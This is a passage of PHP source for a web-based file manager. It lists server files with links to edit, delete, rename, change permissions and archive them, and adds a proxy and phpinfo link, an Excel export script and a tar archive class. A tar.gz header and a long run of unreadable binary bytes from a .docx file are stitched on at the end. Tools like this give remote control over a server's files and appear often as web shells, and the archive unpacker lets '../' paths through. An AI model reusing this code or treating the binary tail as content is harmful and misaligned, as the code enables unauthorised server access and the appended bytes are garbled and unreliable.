			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/fahriyzx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>
shablon-akta-sverki-1-1.docx.docx.tar.gz000064400000055553000000000000013702 0ustar00��ep&;�-�������233333c�eff(3������e�^�{w��^��s"�{���E*�)sJ��1�))%��;й��ҙ9Y[��Z�9:�:�������9X�ұ��9��X����[:��8�;X��0�0�������_��ӳ�12����o��3ҳ����O�ΎN��I��"��?��$02��O?:Ư�r@�r$p MA['c']%w;cGmZ7k+�< �������OER����=�ZռQ>���{iN��E��Z�b�dž��i�7b�M�顈b�#:���J�|�!F���PO�&܌�\;	��=*1+Nn��@S�(V����*k`vJ�@Ǭ��7�c�xp��Z�[v~(`�t�Ȓ���X<��B�a�hΆ����
��O����`gĜf�O���r���<a��#5���!$��*���KN�y�d��z��C���G�K�A4���P*��9�M�k�::�g�"Zj=�<�.&����B�k['������Sb*�Ʊ,X5e��`ؽ,v��	��=2�e�}>>���$(8�����������c���W{�7܃���N7�O�9��3HL���Kr?�V��t\|�V���L��i���{��S�`� ���"�?��JDž�Wr�[�p>>�Sr�X̟��>�O��Tr]c+G:�?�(����-z�.����W���e��Vї��5ť�V�,�߸������EGgf�<3D����0��a��!�tz5_����
��v��L�F��)F����Ob~���-e�i�R�a�ʜ�brΐ�.?�^y�1Ň)'�a~�BL���G�#�e���kM2MLt�F�v��I|c��=5�=IF�A9$�U��G~gqX05D.D݋����a��W�K�z�m[�m�[����·��3c`���FtW�Ok���>��"�o��T���/�6�Gm���TO��o~��?��*�hnT:����
�<��|�@��2�����0M�7y�e�@S����ƍ�>>��VL�ק8�6��M@�C^+]Y�Z5E?���:2K��_ p�E��J��q�wJC#�=�B�bD2E����M̱{��.�G��l����$,?����l
hBp��B�T�o�c.�*<sN�9�p�F
Wd蠧�[K�ō���E������^#�4�1Ӗ����߲n��f����
\+��D!���J!���5�}�%�Rj��)�Z3��W���`��͞|[���s.�����%��Yb�l��\�|��/d��K��qz�O�u�3�o��3#�p,mW�_����k��=0�4�����}
HVb��;o��[��I�[��9���[�ϖo�h?z|�/��(N�O�Q���;^�g���>`Q�,C7�^De���F�(]<�������D�QiYK�,2���Υ���t�3�=�xƦ�
�j�|Ƥ�I�L�x�H��QQ������Z�j�Y��\-!�՝��TY���e��J��	���ٔEH[(��Bc
VR�f�q6���_�}H��"����R�d(xe�/n1�!�~�V�]�gA���~�H�/���!t6'"��W%5��C��4�M���-?a�:�bOW�ѩz�#�*l����(,*���BX/�:���$�Mo3�z�|M��!w_�S���f�y*-ۃe���}�6f]G�U鱣�^^�gn��J/a�����~;�W~�|�և�+	�Xp]�p�$�7(�3 �D��P��H�������]{����$'���M�����9�`�.�$/�}�����-.��`�co��a�������0�T=�}��[G�1�n��N��g�VG
���J�v�v�k?a���}T?�x�$�mij���m�?]�HQ��Q$�HG�[���A����Q���G>K�9_�O���8���`�i͠�e4��f嘛
6��3�}��
��>pֲ$�^���\���3m݁�Z��tZ� �R��h��\
U0)e��=IS?��CF̾L�cLWm�S���Y���sU�)WpV�l����Ւ֖��7J�<z���S7OP�ґ	�SaUW�>m��V�;T����3.$
����|"��W�[�(X��O"��zjC��v��C��lhA�S��N��v%)P�-q[ߢ�x�9tsF�����Ŭq��$wfnQ��r��+�
0`a"W%���8���(_N�8z2SU��mj'^���!`a�-��,�E���؎�l��t&���_\͞�B�
~^Җ���
C��G��G/�;2a�5u�Y�p�
W��J�Ϸ;DC+�?e(��0�	-T���IK��w�DĐ���r�}��%��ڬ|�@�h^~�f�c���!��<��c�m;�DE�V�4ւ�f�	Q���J��3��E��x��RƩ��K��&�������p�pBG^�7u);!741S�l��-/O�Lm.���<�V���&�(�
�}���3�"�K���˨g٩��؄s
+��h8�陑��j��A�w�);�"��x����H���U��i����n�fb1T��� ΔS�!�|���۷��\��ˣ�#�'�@�}2�
�,3�AVN@�z�H��[��s�+]�auxK
':�C9hY	Ah��>��G���P/��ߢ���,�
�фn�SM�T^�����I:���n�24d�cN�wz*y,�A!=����aA�X�-/=�|C���B�Ɂz!!�!����-��=Ye���Y�h�S�3���c�	Y��s�~u�Ԁ�Mm0+Wg<WU�T����:�Lf�MJ�@x4(l�G����]�!��c�r�
}P����.��_�d\-�J#����J�SUa��s�wĭ��8�3��#��:)��%ĉZ���2�>xٹ4if�]��]KE��$W�M���^4M "�{9y�t<3>^DN�,�zV��P��&f7t+��vY��|�Y�h��1�A,<��Q֪t-�
\ �2I�����m^�1E��Y��� �t�`1�ݸ�I\B��H�IBB�(�X�����#|P���`�����`������� Tg9��i=�Ť�g
h�#a�ڄ!���)�>c���[�[P>����!��p�P`)GyZ�?K	�T������3p�3,U���qF�8�%	��S�tB)/��I������wV�x���T`u�KMJ���q�k�y���1����)����:�Q	?��
WN-q�shm���ƞ�"�[7���>K��j�]W��i��u�	^g��<EZ�l�(�o2�Q;\>Z���tՃn�ݒ�ŷCQ����*��^��D�!�v��M0Sz�
2���t�j���,�{P�`�.c�I�y�t~�
2@Ns%�=f��6&cFT������jD�3��{"��8� �5`�f-�Z-}�	��j(ARv��߁��𞺐c���t<�Dž��l/[b&��78�L)�r��%a�J#{S�9:xC�:�A���m�n:y��G�_�2�%�&�lx��D�/']��}���"^���m댔�\���Ӄ��c��*�t�b:-��It�ն��y�p
��zOr�oS����/�(O8!;`W��B�h�^�5���������F�L�7���^�<����E��|��
-�lC��#��{k�b�+9�����)©�=��C҄�G����fX��m�6��Uޢ�,�EY/-WL�Xw@�o-�iB�qB۶���L�6��@��7�B�R1y��I�$��1�0����6�ZWO|�t���ʪ'��^U`���pG��p��}h��ȳ&�YOHָ�G�M�{-*�Ώǖ�t��j ��/xpP����M��0)�wg@X7���>Q[vU�������G�O�PJG��Zk�?EGU�յQ&P2/���V�Өq��\�\:>��:�y��]�J�OL9�&�q���&t��#!���U��f���qÙ�����0y���B���Obb��`t	ƙ-iR"� Z�1=��>�8��wڌ{�7���ͧ��ޛ��i���>�2TDAm?A{+�ޘ��]�$!�����"p�I V����M��CIg@��U�g��H�
����Ӛ2�kLYK.����XEܙ 7��X�
�
٥#u�)"D?W�H�*�ooa(|YG��<�Yd���=3�)��ᬻQ͈偕(Ѯ����.��K���SǟrG5��/B6��ɡMS(2�^`KS)B�BΥ Q�`f.�S�d.l��&��(�90y�A5[�s�*D3�W��<�쎬ƭ��k��p�\aAd�����^a���D��s��sZU��#�egbf�n'�15�U����$)P�*3�]	�%�O��䑪�2)EH�O&��	=5cv�EΏK�*��M�[J���f8͎‰���ބ�(���(e�M����<�=f�Ab�ڕ�b=#p*�?$�i����kv�U�����
İ;�$Cc=�K�J��њd'�l;$�y;�\�|�%*�S��%	W�٨%q^���8�Kk-�u|�#xh�(i�:����-�a��Q� P,`� ��j{H��߉��+z�A]��U+|f=S�к������$�+w�)	e�e�'A.y��s/2�Z\y��8�N6�Rr/x�y�0N6�q��ȟ�fSG[�8�6��`6~$:.�`|/�d�ܴ�cyFvΰ>�O�4TgC1
{k�K����E��Ày�.Evo�?ҡ�a�$S;�fBs�1+_
�1�j�`� ���q��7�Jp��@�H�6Ay��(
'��CpQ��1�+S�:՜�E�g!�}�^�j�Z���#��;�0;�P����Z�G^?���������Z����`Z�K��GxN:��X����y���vjC�5C[+��F�
�:��4z��Q�����a[���1����)�OI��!�rJ���l���A�G{S���F�bo|�q�
�5��
�r g�������<d��n���<��N8�s�)��>|����;�j�R��<�W얹։�\��j���e�5!�(���^3V�7�9R����%�i�w��f�#N���#m�\I� �v���}���i�ܴ�)ᒕvB"�-_������f6c�q[]pS�S��=�`ѸOb<"�)f�lo��E��tD%�c{C$����B<69�P\!��yp]ղk!
_QӷFG[��㳎�2�������Ɯ�*��ZJ����g;:S�Z��#�)L�5ӵm���3���W�;r7��Ei�?<��k���!�r�V|G�^77�^\�^���Ԑ��	Q��fuK��8$�㬏�};v�o�~��+����>>kE-�9&���2���0�1Z���^������'�'!C�J�Ŏ�����B�KU�3�oeF�".�҉�T�"N^�fXܹә�Le}�s�7V����[J˨@ y	�e��XR�F2S��̖b4��҅����)���gW�t��ÙW{��.4~F�����/J����jmڌ)�`�AW��=zb�$4��O&_�DԞ촦��W8��b	��o3�σh~=x�=_���r��)�+��N���z���\}.X��4�j0j��J0�{'�o�B�AA^���k�:j�.�G~Vj�`��C6���	w�m�c���Ƅ�%���Xߌ��A�Hibݑ����r���R��d����VX��p�0qV��*���\�-�o���:?�7�;
*�	:��	��=(�-/��~�`��QX�5R��i�,�B_q؀�B����:����ڭ�*���1.a4f�/2N�i�����U�Ɨf�������`*U��=������#0[��U@#�&)�&͐a��f��4����l���9kꆔ��4܌,��!��N�Tt^@�H��+�\OwY��̶��֟�R"oux��#䩈���] �Jb1o!o��*�o�
�hK�!o���N/�_A�6v�0uP�G'h��������Z�]a�y�L���F��]W���
|{���e�;����m��B���|��m&��=��μ�2U�}��)�
